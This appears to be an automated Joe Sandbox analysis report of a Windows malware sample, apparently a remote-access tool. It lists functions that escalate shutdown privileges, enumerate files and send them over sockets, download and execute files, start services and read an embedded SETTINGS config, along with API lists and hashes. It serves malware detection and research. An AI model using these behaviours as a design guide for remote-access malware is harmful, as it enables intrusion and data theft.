                                                                                            Function 00416C9D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32(00000028,?), ref: 00416CAA
                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 00416CB1
                                                                                            • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416CC3
                                                                                            • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416CE2
                                                                                            • GetLastError.KERNEL32 ref: 00416CE8
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                            • String ID: SeShutdownPrivilege
                                                                                            • API String ID: 3534403312-3733053543
                                                                                            • Opcode ID: 594fceb9dcf720018193b7af68db4771e8a957862718425d2e1bf0ede3cec24e
                                                                                            • Instruction ID: cb90277d3e2bb8506008076be0b211c0c8a285b816e0fe18bd298ac82c07c5c8
                                                                                            • Opcode Fuzzy Hash: 594fceb9dcf720018193b7af68db4771e8a957862718425d2e1bf0ede3cec24e
                                                                                            • Instruction Fuzzy Hash: EEF0DA75901229BBDB109B91DC4DEEF7EBCEF05656F110065B805B20A2DE748A08CAA5
                                                                                            Function 00453110 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: __floor_pentium4
                                                                                            • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                            • API String ID: 4168288129-2761157908
                                                                                            • Opcode ID: 1bf5a653629e57a1f7b5c3ded9cb374cb4a646758b38e4d76f229b2a49b28d64
                                                                                            • Instruction ID: c7cd0fe6fb368e325f13a714a82e3d7b4865f9b831a19f2b9b664dd372279c0a
                                                                                            • Opcode Fuzzy Hash: 1bf5a653629e57a1f7b5c3ded9cb374cb4a646758b38e4d76f229b2a49b28d64
                                                                                            • Instruction Fuzzy Hash: 58C27171D046288FDB25CE28DD407EAB3B5EB84346F1541EBD84DE7242E778AE898F44
                                                                                            Function 004089A9 Relevance: 9.3, APIs: 6, Instructions: 288fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __EH_prolog.LIBCMT ref: 004089AE
                                                                                              • Part of subcall function 004041F1: socket.WS2_32(00000002,00000001,00000006), ref: 00404212
                                                                                              • Part of subcall function 0040428C: connect.WS2_32(?,007B1B40,00000010), ref: 004042A5
                                                                                            • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00408A8D
                                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 00408AE0
                                                                                            • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00408AF7
                                                                                              • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(00000000,00000000,{NAL,?,?,00000004,?,?,00000004,00474EE0,004755B0,00000000), ref: 0040450E
                                                                                              • Part of subcall function 00404468: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,00474EE0,004755B0,00000000,?,?,?,?,?,00414E7B), ref: 0040453C
                                                                                              • Part of subcall function 004047EB: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 004047FD
                                                                                              • Part of subcall function 004047EB: SetEvent.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404808
                                                                                              • Part of subcall function 004047EB: CloseHandle.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404811
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 00408DA1
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Find$CloseEventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsendsocket
                                                                                            • String ID:
                                                                                            • API String ID: 4043647387-0
                                                                                            • Opcode ID: 179b4489b5d0b1f7be1de293e6eb14a723a6e58fea07b07fffe5ac2aef98386c
                                                                                            • Instruction ID: d6647de2ed81915fd1100427b9b1f0ab8477674b12134c2b00fdd843198b9521
                                                                                            • Opcode Fuzzy Hash: 179b4489b5d0b1f7be1de293e6eb14a723a6e58fea07b07fffe5ac2aef98386c
                                                                                            • Instruction Fuzzy Hash: 0DA16E719001089BCB14EBA1DD92AEDB779AF54318F10427FF506B71D2EF385E498B98
                                                                                            Function 00419DBA Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,?,?,00419A10,00000000,00000000), ref: 00419DC3
                                                                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,?,00419A10,00000000,00000000), ref: 00419DD8
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,00419A10,00000000,00000000), ref: 00419DE5
                                                                                            • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,?,00419A10,00000000,00000000), ref: 00419DF0
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,00419A10,00000000,00000000), ref: 00419E02
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,00419A10,00000000,00000000), ref: 00419E05
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Service$CloseHandle$Open$ManagerStart
                                                                                            • String ID:
                                                                                            • API String ID: 276877138-0
                                                                                            • Opcode ID: cfc7b607e36d21359a02d5afcedae3f84f405620953c8a7715537af6fd2295c5
                                                                                            • Instruction ID: bfab90d9ddd5c2d56401b7e15998ac1c6a079cb4321381bf248b2ffa9e014974
                                                                                            • Opcode Fuzzy Hash: cfc7b607e36d21359a02d5afcedae3f84f405620953c8a7715537af6fd2295c5
                                                                                            • Instruction Fuzzy Hash: 60F0E9715403146FD2115B31EC88DBF2A6CDF85BB2B01002EF442A3191CF78CD4995B5
                                                                                            Function 00450C8F Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                            • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00443F03,?,?,?,?,?,?,00000004), ref: 00450D71
                                                                                            • _wcschr.LIBVCRUNTIME ref: 00450E01
                                                                                            • _wcschr.LIBVCRUNTIME ref: 00450E0F
                                                                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00443F03,00000000,00444023), ref: 00450EB2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                                                                            • String ID: (E
                                                                                            • API String ID: 4212172061-542121585
                                                                                            • Opcode ID: 59e7985f3c02f7c10489d8edf0480172058bbcb387fbadea5ac0dcfc1ce8ddaa
                                                                                            • Instruction ID: 16e6850baad922d2e300dda2121b2fdf61a8ef58a3873fa5b3432b878cecddba
                                                                                            • Opcode Fuzzy Hash: 59e7985f3c02f7c10489d8edf0480172058bbcb387fbadea5ac0dcfc1ce8ddaa
                                                                                            • Instruction Fuzzy Hash: A361FC7A500306AAD725AB75CC42ABB73A8EF44316F14082FFD05D7243EB78E949C769
                                                                                            Function 00415A51 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97libraryloadershutdownCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00416C9D: GetCurrentProcess.KERNEL32(00000028,?), ref: 00416CAA
                                                                                              • Part of subcall function 00416C9D: OpenProcessToken.ADVAPI32(00000000), ref: 00416CB1
                                                                                              • Part of subcall function 00416C9D: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416CC3
                                                                                              • Part of subcall function 00416C9D: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416CE2
                                                                                              • Part of subcall function 00416C9D: GetLastError.KERNEL32 ref: 00416CE8
                                                                                            • ExitWindowsEx.USER32(00000000,00000001), ref: 00415AF3
                                                                                            • LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 00415B08
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00415B0F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                                                            • String ID: PowrProf.dll$SetSuspendState
                                                                                            • API String ID: 1589313981-1420736420
                                                                                            • Opcode ID: f14f25fb8f2cd95fc09d67fb17ccb0dd16cb235a87a6350968e202e0f1673444
                                                                                            • Instruction ID: be3657bdb4b9c596b700244bf1edaf45c421fe256a6f88bebcc25452880e9c8a
                                                                                            • Opcode Fuzzy Hash: f14f25fb8f2cd95fc09d67fb17ccb0dd16cb235a87a6350968e202e0f1673444
                                                                                            • Instruction Fuzzy Hash: 84215E71644741A6CB14FBB198A6AFF22599F80748F40483FB442771D2EF7CE889865E
                                                                                            Function 004513F3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,00451712,?,00000000), ref: 0045148C
                                                                                            • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,00451712,?,00000000), ref: 004514B5
                                                                                            • GetACP.KERNEL32(?,?,00451712,?,00000000), ref: 004514CA
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: InfoLocale
                                                                                            • String ID: ACP$OCP
                                                                                            • API String ID: 2299586839-711371036
                                                                                            • Opcode ID: 7de529321666405c3dbd177549b20e94864b34fdb637d578d31b634f87125a95
                                                                                            • Instruction ID: 27270ea0035267e4249f05f4639a08e7e92d7e6a6a5113c6df6fa5280cb26525
                                                                                            • Opcode Fuzzy Hash: 7de529321666405c3dbd177549b20e94864b34fdb637d578d31b634f87125a95
                                                                                            • Instruction Fuzzy Hash: 0821C731600100B7DB308F54C901FA773A6AF52B67F5A9566EC0AD7223EB3ADD49C399
                                                                                            Function 0041A84A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 0041A85B
                                                                                            • LoadResource.KERNEL32(00000000,?,?,0040E25B,00000000), ref: 0041A86F
                                                                                            • LockResource.KERNEL32(00000000,?,?,0040E25B,00000000), ref: 0041A876
                                                                                            • SizeofResource.KERNEL32(00000000,?,?,0040E25B,00000000), ref: 0041A885
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Resource$FindLoadLockSizeof
                                                                                            • String ID: SETTINGS
                                                                                            • API String ID: 3473537107-594951305
                                                                                            • Opcode ID: af91fd7a50235684c3f0857021386823e2c7131a01440ecb0520647964aa65c6
                                                                                            • Instruction ID: 1fe06f9b0c9a023904624b9b61caa7bd4c13f92b8b5c35c0d543cfa28092256f
                                                                                            • Opcode Fuzzy Hash: af91fd7a50235684c3f0857021386823e2c7131a01440ecb0520647964aa65c6
                                                                                            • Instruction Fuzzy Hash: DAE01A76240720ABCB211BA1BD4CD073E39F7867637000039F549A2221CE75CC52CB29
                                                                                            Function 00407A8C Relevance: 7.7, APIs: 5, Instructions: 183fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __EH_prolog.LIBCMT ref: 00407A91
                                                                                            • FindFirstFileW.KERNEL32(00000000,?,00466AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                                                            • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407C76
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Find$File$CloseFirstH_prologNext
                                                                                            • String ID:
                                                                                            • API String ID: 1157919129-0
                                                                                            • Opcode ID: 5a60af86dfb721f0ee03f601027e4bdc916141c2a59bc418456d92ce19933838
                                                                                            • Instruction ID: e1cc7e471fba1e38487cd482a49156f4879f85d64aa43a49cb1f79655cfb0c65
                                                                                            • Opcode Fuzzy Hash: 5a60af86dfb721f0ee03f601027e4bdc916141c2a59bc418456d92ce19933838
                                                                                            • Instruction Fuzzy Hash: 325162729001085ACB14FBA5DD969ED7B78AF50318F50417FB806B31D2EF3CAB498B99
                                                                                            Function 00406128 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406234
                                                                                            • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 00406318
                                                                                            Strings
                                                                                            • open, xrefs: 0040622E
                                                                                            • C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, xrefs: 0040627F, 004063A7
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: DownloadExecuteFileShell
                                                                                            • String ID: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe$open
                                                                                            • API String ID: 2825088817-3993880
                                                                                            • Opcode ID: 62f8d386749c47194bb03478a8516b51e6d21ae6742d823fd7042273ad0f0b9b
                                                                                            • Instruction ID: e32f65eb076a11421f0b28df520d432f118a03887cfea0ef8c7e4d0a3f62d172
                                                                                            • Opcode Fuzzy Hash: 62f8d386749c47194bb03478a8516b51e6d21ae6742d823fd7042273ad0f0b9b
                                                                                            • Instruction Fuzzy Hash: E361CF3160430067CA14FA76D8569BE37A59F81718F01493FBC46772E6EF3CAA05C69B
                                                                                            Function 00406AC2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406ADD
                                                                                            • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406BA5
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileFind$FirstNextsend
                                                                                            • String ID: pPG$pPG
                                                                                            • API String ID: 4113138495-3204143781
                                                                                            • Opcode ID: 502ab9da0bf0da19a90f7b1ad4369f0e52148eca88607a2230c38766e8d2ece2
                                                                                            • Instruction ID: b94dab712156e78be0f8cc3bef15d45c6a114b58aade1ae888b20ae253cfdc5a
                                                                                            • Opcode Fuzzy Hash: 502ab9da0bf0da19a90f7b1ad4369f0e52148eca88607a2230c38766e8d2ece2
                                                                                            • Instruction Fuzzy Hash: F42187715043015BC714FB61DC95DEF77A8AF90318F40093EF996A31E1EF38AA08CA9A
                                                                                            Function 0041BD82 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BE77
                                                                                              • Part of subcall function 004127AA: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004127B9
                                                                                              • Part of subcall function 004127AA: RegSetValueExA.KERNEL32(?,XwF,00000000,?,00000000,00000000,00475308,?,?,0040E6D3,00467758,6.0.0 Pro), ref: 004127E1
                                                                                              • Part of subcall function 004127AA: RegCloseKey.KERNEL32(?,?,?,0040E6D3,00467758,6.0.0 Pro), ref: 004127EC
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseCreateInfoParametersSystemValue
                                                                                            • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                                                            • API String ID: 4127273184-3576401099
                                                                                            • Opcode ID: 6c22d536f9cf41db2e3193d33a149bd53ec698417932bdd12186eb798744da75
                                                                                            • Instruction ID: 3b74369dcb7a8544f1b55df16a592c3d868ba554001bd6a4c71ed5c97b6fc17b
                                                                                            • Opcode Fuzzy Hash: 6c22d536f9cf41db2e3193d33a149bd53ec698417932bdd12186eb798744da75
                                                                                            • Instruction Fuzzy Hash: F5112132B8035033D518313A5E67BBF2816D34AB60F55415FB6066A6CAFADE4AA103DF
                                                                                            Function 00408DA7 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __EH_prolog.LIBCMT ref: 00408DAC
                                                                                            • FindFirstFileW.KERNEL32(00000000,?), ref: 00408E24
                                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 00408E4D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileFind$FirstH_prologNext
                                                                                            • String ID:
                                                                                            • API String ID: 301083792-0
                                                                                            • Opcode ID: cd1cc56ca7ff52f5bc7cd3823b4629f0e35a23eddf0c6bc2a949d1347ff7edba
